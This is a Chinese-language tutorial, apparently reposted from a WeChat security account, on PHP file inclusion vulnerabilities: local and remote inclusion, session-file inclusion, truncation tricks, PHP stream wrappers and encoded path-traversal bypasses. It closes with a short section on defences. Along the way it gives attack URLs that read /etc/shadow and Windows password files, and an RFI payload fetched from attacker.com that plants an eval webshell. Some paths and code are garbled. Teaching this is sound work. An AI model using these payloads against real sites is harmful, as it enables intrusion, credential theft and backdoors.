一文了解文件包含漏洞
前言
本篇总结归纳文件包含漏洞
1、什么是文件包含
文件包含漏洞
-
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为包含
-
Web应用的脚本代码在包含文件的时候过滤不严,从而注入一段攻击者能够控制的代码
例子$_GET['filename']
参数开发者没有经过严格的过滤,直接带入了include
的函数
攻击者可以修改$_GET['filename']
的值,执行非预期的操作
$filename = $_GET['filename'];
include($filename);
常见的文件包含函数
-
PHP:include、require、include_once、require_once等
include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
require函数出现错误的时候,会直接报错并退出程序的执行 -
JSP:java.io.File、java.io.FileReader等
-
ASP.NET:System.IO.FileStream、System.IO.StreamReader等
URL中有path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候
可能存在文件包含漏洞
2、本地文件包含漏洞(Local File Inclusion, LFI)
本地文件包含漏洞
-
能够打开并包含本地文件,读取敏感信息内容
-
大部分情况下遇到的文件包含漏洞都是LFI
无限制本地文件包含漏洞
测试代码
$filename = $_GET['filename'];
include($filename);
利用方式
可以通过目录遍历漏洞获取到系统信息
http://<IP>/test.php?file=./config.php
http://<IP>/test.php?file=php://filter/read=convert.base64-encode/resource=./config.php
一个例子如下
常见的敏感信息有
-
windows下
c:boot.ini // 查看系统版本
c:windowssystem32inetsrvMetaBase.xml // IIS配置文件
c:windowsrepairsam // 存储Windows系统初次安装的密码
c:ProgramFilesmysqlmy.ini // MySQL配置
c:ProgramFilesmysqldatamysqluser.MYD // MySQL root密码
c:windowsphp.ini // php 配置信息
-
linux下
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
session文件包含漏洞
phpinfo的信息中有session的存储位置
linux下默认存储在/var/lib/php/session
目录下
测试代码
session_start();
$test=$_GET['test'];
$_SESSION["username"]=$test;
-
将获取到的GET型
test
变量的值存入到session中 -
当访问
http://www.ctfs-wiki/session.php?test=test
后,会在/var/lib/php/session
目录下存储session的值 -
session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取
利用方式
-
访问
http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo();?>
后,会在/var/lib/php/session
目录下存储session的值 -
然后通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到
-
通过访问文件进行攻击
有限制本地文件包含漏洞
测试代码
$filename = $_GET['filename'];
include($filename . ".html");
假如用户控制$filename
的值为../../etc/passwd
那么这段代码相当于include '/home/wwwrun/../../etc/passwd.html'
,而这个文件显然是不存在
这就需要截断,有以下几种
1、%00
截断
用0字节(x00)将作为字符串结束符
截断$filename
变量之后的字符串
例子
http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00
条件
-
magic_quotes_gpc = Off
-
php版本<5.3.4
2、路径长度截断
除了用%00
截断
还可以用长度截断
-
Windows下目录最大长度为256字节,超出的部分会被丢弃
-
Linux下目录最大长度为4096字节,超出的部分会被丢弃
例子
http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
3、点号截断
类似于长度截断
windows下点号需要长于256
例子
http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
3、远程文件包含漏洞(Remote File Inclusion, RFI)
远程文件包含漏洞
-
能够包含远程服务器上的文件并执行
-
由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大
条件较为苛刻,PHP的配置选项
-
allow_url_fopen = On,这个选项默认一直是On
-
allow_url_include = On,这个选项从php5.2之后就默认为Off
无限制远程文件包含漏洞
测试代码
$filename = $_GET['filename'];
include($filename);
利用方式
构造一个文件http://www.attacker.com/echo.txt
代码如下:
"shell.php","w"),"<?php eval($_POST[test]);?>"); fputs(fopen(
访问http://www.example.com/index.php?page=http://www.attacker.com/echo.txt
将会在目标网络的index.php
所在的目录下生成shell.php,内容为:
eval($_POST[test]);
https://download.csdn.net/download/qq_57147160/85322836
然后就可以通过这个木马得到shell
这可以配合文件上传
比如将上面这个echo.txt通过图片马上传到服务器,路径为/uploadfile/xxx.jpg
访问http://www.example.com/index.php?page=./uploadfile/xxx.jpg
即可
有限制远程文件包含漏洞
测试代码:
include($_GET['filename'] . ".html");
同样是多了个后缀
需要绕过
1、问号绕过
例子
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?
2、#号绕过
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23
4、PHP伪协议
PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数
除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议
php:// 输入输出流
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器
1、php://filter
-
元封装器,设计用于”数据流打开”时的”筛选过滤”应用
-
本地磁盘文件进行读取
有一些敏感信息会保存在php文件中,如果我们直接利用文件包含去打开一个php文件,php代码是不会显示在页面上的
这时候我们可以以base64编码的方式读取指定文件的源码
用法
?filename=php://filter/convert.base64-encode/resource=xxx.php
?filename=php://filter/read=convert.base64-encode/resource=xxx.php
2、php://input
-
可以访问请求的原始数据的只读流
-
即可以直接读取到POST上没有经过解析的原始数据
在遇到file_get_contents()
时可以用php://input绕过
echo file_get_contents("php://input");
可以用来执行命令
也可以写入木马file:// 读取文件内容
通过file协议可以访问本地文件系统,读取到文件的内容
data:// 读取文件
https://download.csdn.net/download/Gjqhs/85586384
数据流封装器,和php://相似都是利用了流的概念
将原本的include的文件流重定向到了用户可控制的输入流中
简单来说就是执行文件的包含方法包含了你的输入流条件
-
php版本大于等于php5.2
执行命令
?file=data:text/plain, phpinfo();
base64绕过
index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
phar:// 针对压缩包
php解压缩包的一个函数
不管后缀是什么,都会当做压缩包来解压
条件
-
压缩包需要zip协议压缩
-
php版本大于等于php5.3.0
用法
-
一句话木马文件shell.php
-
用zip协议压缩为shell.zip
-
将后缀改为png等其他格式
-
上传
-
访问
zip:// 针对压缩包
类似phar://
使用方法和条件有点区别
条件
-
压缩包需要zip协议压缩
-
php版本大于等于php5.3.0,windows下php还得小于5.4
-
#
编码为%23
,接上压缩包内的文件 -
需要指定绝对路径
5、一些绕过
服务器端常常会对于../
等做一些过滤,可以用一些编码来进行绕过
利用url编码
-
../
-
%2e%2e%2f
-
..%2f
-
%2e%2e/
-
..
-
%2e%2e%5c
-
..%5c
-
%2e%2e
二次编码
-
../
-
%252e%252e%252f
-
..
-
%252e%252e%255c
容器/服务器的编码方式
-
../
-
..%c0%af
注:Why does Directory traversal attack %C0%AF work? -
%c0%ae%c0%ae/
注:java中会把%c0%ae
解析为uC0AE
,最后转义为ASCCII字符的.
(点)
Apache Tomcat Directory Traversal -
..
-
..%c1%9c
6、防范
-
严格判断包含中的参数是否外部可控
-
路径限制:限制被包含的文件只能在某一文件夹内,禁止目录跳转字符
-
包含文件验证:验证被包含的文件在白名单中
-
不用动态包含,可以在需要包含的页面固定写好,如
include("head.php");
结语
对文件包含做了个小结
原文始发于微信公众号(红客突击队):一文了解文件包含漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论